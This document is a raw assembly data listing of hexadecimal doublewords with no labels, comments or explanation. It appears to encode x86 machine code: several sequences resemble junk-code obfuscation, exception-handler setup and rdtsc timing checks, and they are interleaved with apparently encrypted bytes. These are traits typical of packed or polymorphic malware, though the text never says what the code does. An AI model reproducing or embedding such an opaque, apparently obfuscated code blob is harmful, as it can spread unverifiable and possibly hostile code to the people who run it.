		dd 0CBAF4A1Bh, 55BD8960h, 8005E911h, 5F6127D4h,	35FF64h
		dd 0E9000000h, 0Ah, 20F6D7BFh, 0D46B2314h, 0BE8F971h, 0C000000h
		dd 0B08FBDDCh, 0B3CD8BFh, 8166EC7Ah, 5F736BD3h,	258964h
		dd 1000000h, 0E908359Dh, 8985FF05h, 8905E906h, 0E90DC19Dh
		dd 6A35B305h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 1D028A7h,	0E92B9D9Dh, 0EDB5FF05h
		dd 6A05E930h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 4CBCC356h, 2C6CBF25h, 0DF813356h
		dd 29E975ACh, 7C995FFh,	35E905E9h, 9000001h, 0E932F5B5h
		dd 8B00B005h, 0E930F5BDh, 8170E605h, 0C6165FCFh, 0BF71E440h
		dd 25E72D89h, 11E9h, 75FB9A00h,	3D7B2818h, 562198B2h, 0BA04DF38h
		dd 613C2566h, 0FA830Fh,	0BD8B0000h, 5E92E5Dh, 0FC8B60Fh
		dd 681h, 29852900h, 0BA05E92Dh,	6, 1F359D8Bh, 0C18B05E9h
		dd 49BBD98Bh, 0C1390DD5h, 8D0904E8h, 5E9123Dh, 8BE2F766h
		dd 0E92F65BDh, 66C82B05h, 0D18BDE8Bh, 0C870Fh, 840F0000h
		dd 6, 7019D89h,	0A1E905E9h, 29000000h, 0E9173D9Dh, 50858B05h
		dd 8B47554Ch, 0E91E9DBDh, 55853105h, 8305E925h,	5F5707C0h
		dd 31359D8Bh, 0C08305E9h, 0E3816600h, 0D03BA7CFh, 14830Fh
		dd 0B5290000h, 5E92825h, 0E9D88B66h, 60h, 80D8D89h, 8D8B05E9h
		dd 0FFFFFFFFh, 11E9h, 0DA648200h, 480086CAh, 6D3610FEh
		dd 83364E52h, 0E18364F6h, 35840F01h, 81000000h,	264C2FEFh
		dd 0FFA58306h, 0FEFFFFFFh, 0B299D23h, 958905E9h, 47554C50h
		dd 0DE8h, 2B7B8E00h, 45CA1387h,	472C0AAEh, 0BF6635B5h
		dd 0E95B8FA9h, 0
		dd 760AB58Dh, 6A05EDh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 860FB3C3h, 6, 2B9D9589h,	6A05E9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0EBC35242h
		dd 0EC75106h, 0BD9D237Ah, 0FF05E907h, 0E91E9595h, 57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 46EE5015h, 0E8E804C5h, 12h, 8C5C7778h, 0CE23C96Ch, 46997B04h
		dd 0E838F98Eh, 9D8B0445h, 5E91DADh, 7185895Fh, 0B905E91Fh
		dd 0FA9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0D9C35141h, 75086E98h, 8B664797h, 83DF8BDEh, 9D8BFCE1h
		dd 5E91629h, 0CE8h, 3E0C9800h, 0C0CA44C6h, 14FE6426h, 0CE8D1h
		dd 6C5A0000h, 552D1A5Fh, 0A7F371EEh, 7E83B3Fh, 25000000h
		dd 3A380BEAh, 5F5FB704h, 6AFC5Fh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0B8459BC3h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 4CC35141h
		dd 0FB41BBA4h, 0D22B0E4Ch, 2755B589h, 33AD05E9h, 3E8D1C2h
		dd 4E983D0h, 6AF475h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 732F19C3h, 89600837h, 0E90031BDh
		dd 0E8816605h, 6661D6F8h, 8AB3C781h, 0F880F52h,	0E9000000h
		dd 0Ah,	14428D92h, 0E4ED9185h, 0D5BF8E9h, 88h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0EAC35545h, 0BD8B8264h
		dd 5E90E59h, 8BFEBF0Fh,	0E9265595h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0E528C2A3h
		dd 8D8B1502h, 5E90805h,	5608F8BBh, 0C28B5068h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 633C350h
		dd 0D8DB3AE9h, 0D3811268h, 6148EDCh, 9E9h, 0CE757900h
		dd 0A9862546h, 81668101h, 83987EEFh, 0E91CF1BDh, 840F0005h
		dd 83h,	58F0Fh,	0AEBF0000h, 0B85FBD30h,	0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 5DC35242h
		dd 0E8205619h, 6, 76B120B9h, 8D5FFA44h,	0E94E6D8Dh, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 0C266D1D5h, 0CCF7C10Dh, 6E8h, 4EF2E00h, 0F3F80CAh, 681h
		dd 0B9858900h, 5B05E92Fh, 8166E1FFh, 83D81EE7h,	0E9163DBDh
		dd 840F0005h, 3A0h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0D0C35343h, 2C792D36h, 58B0Fh, 6BBF0000h
		dd 8B1B6FB1h, 0E910EDBDh, 3DBD8305h, 105E916h, 37D840Fh
		dd 81660000h, 83081ECFh, 0E9163DBDh, 860F0305h,	335h, 3511BF66h
		dd 51006A60h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0F88B39C0h, 8BD98C66h, 0E91F11BDh, 4E18005h
		dd 0C90ADE8Ah, 123840Fh, 81660000h, 8BC596CBh, 0E9286985h
		dd 0DF816605h, 8533AA09h, 5E90E61h, 409BD0Bh, 669005E9h
		dd 8A50D88Bh, 6A90FDh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 9C7087C3h, 26799589h, 9D8B05E9h
		dd 5E92375h, 0BF66006Ah, 12E99B1Dh, 9B000000h, 0D6FF261Dh
		dd 1F6F264Dh, 0E727028Fh, 866EEEC8h, 4E8ECh, 3FF0000h
		dd 57BF001Fh, 50440D5Fh, 728C52BFh, 24448B2Dh, 0AE804h
		dd 27260000h, 36162C4Bh, 2057A75Bh, 0DE8A5250h,	5F51310Fh
		dd 8B5B585Ah, 0BA666000h, 0E9563C4Ah, 9, 0A633F7CEh, 416DBFEBh
		dd 89615886h, 8B042444h, 816658F8h, 0FFE8DDEBh,	0E9292D95h
		dd 9E905h, 7F660000h, 11C49959h, 8993AEECh, 0ECBACE85h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0EA7B9F24h, 18EE9h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 81F065D1h
		dd 96B12FEFh, 0C6858B19h, 8B05ECBAh, 0E90CD9BDh, 50BB6605h
		dd 1800C730h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0F2CC356h, 0B58BF8BFh
		dd 5ECBACAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	8AC35646h, 8194247Ch, 5DBD8B10h, 8B05E930h, 0E92F3985h
		dd 7D9D8B05h, 8105E907h, 0BD313DE7h, 6A068924h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0ED02C351h, 432C4657h, 44D0624Ch, 8B9CB7F5h,	0E9286985h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 89D88B1Bh, 0A9BF0446h, 9609CE77h, 1A3830BBh
		dd 0D88B5015h, 53006A96h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 870F2E1Ch, 6, 0EE1BD33h
		dd 8D8905E9h, 5E91061h,	0BAC6B5FFh, 0BF6605ECh,	3D68AB79h
		dd 6688189Fh, 481FE8Bh,	664C224h, 7DBD8978h, 8D05E923h
		dd 0ECBACE85h, 0D5BD0B05h, 0E905E904h, 0Ah, 8D525289h
		dd 0BF5DFB82h, 66900FEFh, 0E950DE8Bh, 0Bh, 0A788B74Ch
		dd 58E6E93Ah, 90C566DAh, 1FAD9D8Bh, 8D8905E9h, 5E92B89h
		dd 292D95FFh, 816605E9h, 618A0BF7h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 37C35747h, 0C7E4CF80h, 0E9163D85h
		dd 305h, 17BF6600h, 0CEBD836Bh,	5ECBAh,	33840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0B589EBC3h, 5E92F99h, 9745DF81h, 21E90A5Eh, 31000000h
		dd 0E901F58Dh, 0C305005h, 11440011h, 10E8C101h,	2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 3899D8Bh, 6A05E9h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0BD83BAC3h
		dd 5E9163Dh, 0EF850F03h, 81000003h, 0D3A2F5CBh,	0DFBF0F51h
		dd 0BACEBD83h, 0F0005ECh, 3D984h, 8E900h, 0BE270000h, 212EAB9Eh
		dd 0B5FF038Ch, 5ECBACEh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 63C35343h, 24F2E71h, 0D9098C67h, 7595FFEDh
		dd 5705E92Bh, 2B298589h, 895F05E9h, 0E901D595h,	0C2B58B05h
		dd 8B05ECBAh, 0E93175BDh, 106C705h, 33000100h, 0E9191D9Dh
		dd 0FB8B5005h, 6A243489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 405AC352h, 0A327CEC4h
		dd 574D4182h, 78B7C9BBh, 0CEB5FF51h, 6A05ECBAh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0DA17C353h, 4D95FFF5h, 6A05E92Bh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 458EC353h
		dd 0C5B652Ah, 0E8914F93h, 14h, 0DF698791h, 912E5BCFh, 3A4B9540h
		dd 0CA37D555h, 0C2241F1h, 0BD8B5BF5h, 5E92D71h,	0BAC2B58Bh
		dd 6A05ECh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 96026CC3h, 0DD858B82h, 6A05E90Fh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 1967C351h, 97B09758h, 0BFD3A4D8h, 0C48689h, 0CE80000h
		dd 7F000000h, 0EF4E9D30h, 0DFC05924h, 0F8C06DCh, 8B5BFEBFh
		dd 0E9265595h, 6890F05h, 81000000h, 9D33E5C3h, 4C28344h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 73C35040h
		dd 3996ABA6h, 9D8B472Eh, 5E92B65h, 6A205089h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 5E99C351h, 0D055858Dh, 6A05ECh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 5748F6C3h, 765BD8Bh
		dd 895B05E9h, 0B886h, 8BDF8B00h, 0E917B19Dh, 89006A05h
		dd 0E911558Dh, 5BF6605h, 0CEB5FF21h, 6A05ECBAh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 8910C357h, 0E928DD9Dh, 0AD95FF05h, 6A05E900h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0A8DAC350h, 8BBE38FFh, 0F88B96DFh, 13E850h, 3C0A0000h
		dd 0DBB90A5Dh, 0E010CD1h, 392F7F4Ch, 8288F25h, 0BB965B7Fh
		dd 2853D79Dh, 0BACEB5FFh, 37B705ECh, 323195FFh,	0BE805E9h
		dd 4D000000h, 0BC8FA46h, 3CAB9466h, 8589596Ch, 5E92B19h
		dd 83DC8A5Fh, 0E92AB1BDh, 840F0005h, 6Ch, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 19h, 67C35242h, 3015966Fh
		dd 0D41ABBD3h, 895751C6h, 0E910D18Dh, 50965F05h, 0F310F52h
		dd 68Ah, 0F525000h, 5A585A31h, 0B7505058h, 6A965F5Eh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 56FAC356h, 0E029D683h, 0F9067BFBh, 0BACEB5FFh, 0BB6605ECh
		dd 95FFA941h, 5E92F61h,	120EBB66h, 0BACEB5FFh, 0FA8B05ECh
		dd 2DC595FFh, 8B6605E9h, 0FDBD83FBh, 205E903h, 76840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0AD6ED7C3h, 0BB7B7E93h
		dd 40CF81AFh, 8B14D097h, 0E9305585h, 53006A05h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 837B66E8h
		dd 909B1A65h, 1DBB41DCh, 0C6509B81h, 0EE80000h,	4F000000h
		dd 0B9DB2197h, 95D9612Ah, 20DA1A9Ah, 0D9D8B08h,	5F05E90Bh
		dd 27A985C7h, 5E9h, 0B7510000h,	7CE95F8Dh, 81FFFFF3h, 7D48EF7h
		dd 0FC18B39h, 680h, 0B5BD8900h,	8D05E92Dh, 0E921E585h
		dd 68C0F05h, 8B000000h,	0E916DD9Dh, 66605005h, 0D08BCB8Bh
		dd 24048961h, 6AFEBF0Fh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 89D5F0D4h, 0E92B899Dh
		dd 0BB006A05h, 5CD00080h, 499858Dh, 9E905EEh, 38000000h
		dd 0DE6FBFDDh, 7AE4E801h, 8B05C083h, 0E9101D9Dh, 52505005h
		dd 11E8310Fh, 0CF000000h, 0BAC9956Eh, 0A3DD5469h, 0AD353130h
		dd 0A7A9168h, 8D0Fh, 5A5B0000h,	24048958h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 36C35747h, 79C8D8BBh
		dd 7E8D6F1h, 0E9000000h, 0BC149BDEh, 9D8B4616h,	5E92951h
		dd 6AF55Bh, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 1Ch,	10C35242h, 69219576h, 5E57F521h, 6A006Ah, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0A11173C3h, 0F0AF7DFh, 158Eh, 10E900h, 3E940000h, 0E968151Eh
		dd 55D29C04h, 18A68EBDh, 95FFF083h, 5E90AA1h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 33C35646h, 0D6B5BE2Ch
		dd 89588B3Bh, 0BF8D8D4Fh, 8905ECADh, 0E92E7D8Dh, 6AD1FF05h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0D384C356h, 0E18D891Fh, 8305E92Ah, 0E901BDBDh
		dd 850F0105h, 82h, 7E8h, 0A2E4D000h, 7AAA2B60h,	2D299D33h
		dd 6A5F05E9h, 50006A02h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0E53E9D20h, 60B142D8h, 0B70F5E20h
		dd 525090DAh, 0FB1848BBh, 0F310F59h, 28Eh, 5AFC8A00h, 0BB665058h
		dd 66909DF9h, 95FFF98Bh, 5E900ADh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0F2C35747h,	0FC50B333h, 60E9DE8Bh
		dd 0E800000Eh, 0
		dd 0A3ED815Dh, 3305EE04h, 0E90E05BDh, 0B5B58905h, 6A05E906h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 12F6C355h, 9D898EC1h, 5E921BDh, 858DDA8Ah
		dd 5EC904Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	0A1C35141h, 38AC54B2h, 9882D825h, 26FD8589h, 0E89005E9h
		dd 7, 0F8F4296h, 50CF83C5h, 0F525052h, 0F585A31h, 5F585A31h
		dd 12E96050h, 7000000h,	0C88C9817h, 0BF65169Dh,	947C5A27h
		dd 3899E579h, 0F18B6008h, 14E8h, 2A3A9E00h, 8B46BCE4h
		dd 9C57D05h, 0A461AFC0h, 0A184FA0Ah, 61615AD4h,	51006A90h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 8A31DF0Bh, 9D317034h, 5E900D5h, 35FF64h, 89000000h
		dd 0E91E858Dh, 4D9D8B05h, 6405E900h, 2589h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0D89AE3C3h, 298BCA91h, 68985FFh, 8F0F05E9h, 6, 307DBD23h
		dd 0FF6A05E9h, 5E9h, 0D0CD9900h, 0B70FA979h, 0E9B5FFD8h
		dd 0E805E91Eh, 6, 76575DE3h, 8D29B092h,	5E90E59h, 0C995FF5Fh
		dd 0E905E907h, 0E5h, 6800Fh, 9D8B0000h,	5E9090Dh, 0ADD9589h
		dd 0B005E9h, 68B770E6h,	816071E4h, 67E285D2h, 613C617Bh
		dd 0BB830Fh, 85290000h,	5E92F81h, 80C8B60Fh, 6BA03CBh
		dd 0F000000h, 0C18BD9BFh, 1D69BD8Bh, 0E8C105E9h, 6D852904h
		dd 6605E904h, 8B60E2F7h, 0CA48BBC6h, 2B616FF8h,	0D1BD8BC8h
		dd 8B05E92Dh, 0CE8D1h, 98140000h, 5C291AE3h, 3077DCFEh
		dd 3352E585h, 0E924CDBDh, 0E95B5B05h, 61h, 22EDB501h, 858B05E9h
		dd 44004E49h, 83DBBF0Fh, 83F907C0h, 8D2900C0h, 5E90B59h
		dd 830FD03Bh, 0Ah, 36E9FA8Bh, 66000000h, 8D8BD98Bh, 0FFFFFFFFh
		dd 0F01E183h, 2484h, 259D8B00h,	8305E92Bh, 0FFFFFFA5h
		dd 0F781FEFFh, 52961376h, 4E499589h, 9D8B4400h,	5E93269h
		dd 0E9h, 0B3B58D00h, 6A05ED85h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0CF2FC356h,	0E1DB69ABh
		dd 800Fh, 56600000h, 895B6160h,	0E9043595h, 0F3806105h
		dd 6A006A80h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0FF53C356h, 0EF0F59FDh, 24EB35DFh
		dd 0BC19529h, 95FF05E9h, 5E91E95h, 31F19589h, 0B5B905E9h
		dd 6A00000Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0CAB1C356h, 58DE942Bh,	891DA462h
		dd 0E90D5D9Dh, 83DE8B05h, 8960FCE1h, 0E9246585h, 61EA8A05h
		dd 89B589FCh, 0B805E904h, 0
		dd 0D22BF98Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	58C35747h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0FFA8B66h
		dd 582h, 8DA1BB00h, 880D0218h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 66E4C355h
		dd 8BB618BFh, 0E9265595h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0EAB4530Ah
		dd 742C1184h, 8D8BD6E5h, 5E90805h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 95C35646h, 0AA327D20h, 11A0377Bh
		dd 0D88B66B0h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 0DF815818h, 60D7CD63h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 1CC35040h, 5DCC62B0h,	0E81CBA5Ah, 0Dh
		dd 0BC5EEEh, 840B76EEh,	0EB544F90h, 0BE965h, 7B270000h
		dd 5FDA4392h, 6E2F1E38h, 0BD835B35h, 5E91CF1h, 4D840F00h
		dd 0B7000000h, 71CFBF3Dh, 0B8245Ch, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 3FDEC353h, 0BF9BD8Bh, 8D8D05E9h, 5E94E6Dh, 0C70319BBh
		dd 33E1FF19h, 0E924519Dh, 6E905h, 75DA0000h, 52C57CE1h
		dd 163DBD83h, 0F0005E9h, 45884h, 66DFB700h, 26DBD381h
		dd 163DBD83h, 0F0105E9h, 45F84h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0B6DB81B8h
		dd 8079B826h, 0BD8B5CC3h, 5E90EEDh, 163DBD83h, 0F0305E9h
		dd 3F186h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 60BDDA49h, 66C0E780h, 8166D98Ch
		dd 80E76FC7h, 8C0F04E1h, 6, 1E98D89h, 0C90A05E9h, 147840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0B0BBBC3h, 0A595893Bh, 8B05E90Ch,	0E9286985h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 8AF63173h, 9B0FC5D3h, 9E8h, 0C5D42F00h
		dd 0DBC60F3Ah, 11E86084h, 2C000000h, 81674D51h,	888DD0E1h
		dd 2646A7Dh, 84EEFEDEh,	27D5BD2Bh, 5B5F05E9h, 0E618533h
		dd 6E905E9h, 0C8000000h, 0F18C4FD8h, 8B579013h,	66505FD8h
		dd 6A90DE8Bh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 663BC382h, 44748D84h, 0BD8916D0h
		dd 5E93215h, 18F0Fh, 68F50000h,	52F9735h, 17E470BBh, 2434812Ch
		dd 53094CAh, 0C018589h,	95FF05E9h, 5E9292Dh, 2A19D03h
		dd 858905E9h, 5ECBACEh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0A2C35646h, 0C14C389Dh, 0F527D00h, 682h
		dd 9BD8B00h, 0E905E92Fh, 21Ah, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 0C1C35343h,	0E123BBBFh, 0C6858B60h
		dd 0F05ECBAh, 0C7FBB7h,	18h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 7CC35242h, 7ACD17Bh, 8B4BDDACh
		dd 11E9DEh, 94820000h, 79AB3F17h, 307C16C2h, 0AE0522D0h
		dd 8B4D12CAh, 0ECBACAB5h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0E7810E9Ah
		dd 5A48A0FEh, 31859D0Bh, 858B05E9h, 5E92F39h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0B4C35242h, 0F9129E67h
		dd 8D2908B4h, 5E92679h,	6A0689h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 301A78C3h, 8DAD982Eh
		dd 8D89D783h, 5E90265h,	31DD9D8Bh, 858B05E9h, 5E92869h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0D7C35545h
		dd 6E99563h, 85000000h,	1969097Ch, 23A7BBFAh, 46894A78h
		dd 55006A04h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0AD972BEBh, 8051C2C2h, 0EB812EF7h, 3C0F473Eh
		dd 52505096h, 83A4B960h, 5A537115h, 5A310F61h, 0BF669658h
		dd 9D8BEF09h, 5E929F1h,	0BAC6B5FFh, 6A05ECh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0A051A9C3h
		dd 0BF0F6A2Bh, 0AA0A68FAh, 8B669ECBh, 240481D9h, 615359F5h
		dd 2FE59D01h, 858D05E9h, 5ECBACEh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0E9C35646h,	64844FC0h, 7E990h
		dd 0AD520000h, 0FCB7208Fh, 339050B2h, 0E91CBD9Dh, 0F98B6605h
		dd 292D95FFh, 6A05E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 6680D2C3h, 361FB8Bh, 0E932859Dh
		dd 3D85C705h, 305E916h,	80000000h, 0BD83BCCBh, 5ECBACEh
		dd 4F840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0AD5C356h, 8F7BA2A1h
		dd 43E92Eh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0B5D6D7C3h, 0C5E9FBFEh, 0C38166FDh
		dd 305034D5h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 6A7D67h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 72580EC3h, 8DBD899Eh
		dd 8B05E91Dh, 0E9057DBDh, 3DBD8305h, 305E916h, 49C850Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 8347DAC3h, 6021BA51h, 0B9B7BFB0h,	0BD8301D4h
		dd 5ECBACEh, 67840F00h,	0FF000004h, 0ECBACEB5h,	53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0A7DEDD11h, 17879F20h, 9D8B5A18h, 5E925CDh, 2B7595FFh
		dd 6A05E9h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0B000DEC3h, 41AB2746h, 7C60BF66h,	0C2B58BFCh
		dd 8B05ECBAh, 0E919B99Dh, 820F5105h, 6,	0C818501h, 0C75F05E9h
		dd 1000106h, 119D8B00h,	9605E90Fh, 58E0Fh, 63BF0000h, 503E6BBBh
		dd 0DFB56050h, 14E8h, 0AE01200h, 0C13FCDCEh, 0DFFBF431h
		dd 11187461h, 0FAF3CED8h, 5F615AF3h, 53006A96h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 896C004Ah
		dd 0E92B01BDh, 0CEB5FF05h, 0E905ECBAh, 12h, 255699Dh, 0C7F25A25h
		dd 5CD5F819h, 43F15CEAh, 95FF4AC3h, 5E92B4Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0F8C35343h, 9E9h
		dd 939FCC00h, 0BAB06490h, 81608E3Ah, 0D0E938CAh, 0E5858B75h
		dd 6105E926h, 0BAC2B58Bh, 6A05ECh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 7C693C3h, 3818A5D6h
		dd 0DD858B01h, 0F05E90Fh, 588h,	2BB1BF00h
		dd 86894184h, 0C4h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 58C35242h, 1238B3FBh,	5B603283h, 7599BFB9h
		dd 8BF907E4h, 0E9265595h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 8B271F17h
		dd 0E90B49BDh, 4C28305h, 0FE31BBBFh, 20508955h,	41C84CBFh
		dd 55858D55h, 0E905ECD0h, 0Fh, 0B3DE9184h, 555A46ADh, 805A23F5h
		dd 89A6F02Fh, 0B886h, 499D8B00h, 6A05E931h, 0BA666000h
		dd 850982C4h, 5E90479h,	0CEB5FF61h, 6A05ECBAh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 129C355h, 0A1FAA901h, 0FFD88B66h, 0E900AD95h, 7E805h
		dd 3A100000h, 4D1EA6ACh, 0CE9DEh, 0EF9B0000h, 3D4E3B2Bh
		dd 0C5EBEE7h, 335B4384h, 0E91EB5BDh, 8B665005h,	243489D9h
		dd 7E8h, 0B5E78A00h, 0F3B24655h, 2699B589h, 0F5F05E9h
		dd 688h, 619D8900h, 0FF05E91Dh,	0ECBACEB5h, 0A1DF8005h
		dd 6800F60h, 89000000h,	0E92AD5BDh, 11D98105h, 61158C6Fh
		dd 323195FFh, 14E905E9h, 79000000h, 62FC872Eh, 0DF1CC020h
		dd 18DF5CD8h, 9ED49292h, 83B8D7E1h, 0E92AB1BDh,	840F0005h
		dd 95h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h
		dd 96C35242h, 498529h, 70B305E9h, 0E8525050h, 7, 1CFFAC69h
		dd 0F4A0BECh, 80h, 310F5B00h, 13E9h, 0E4A37100h, 1812F757h
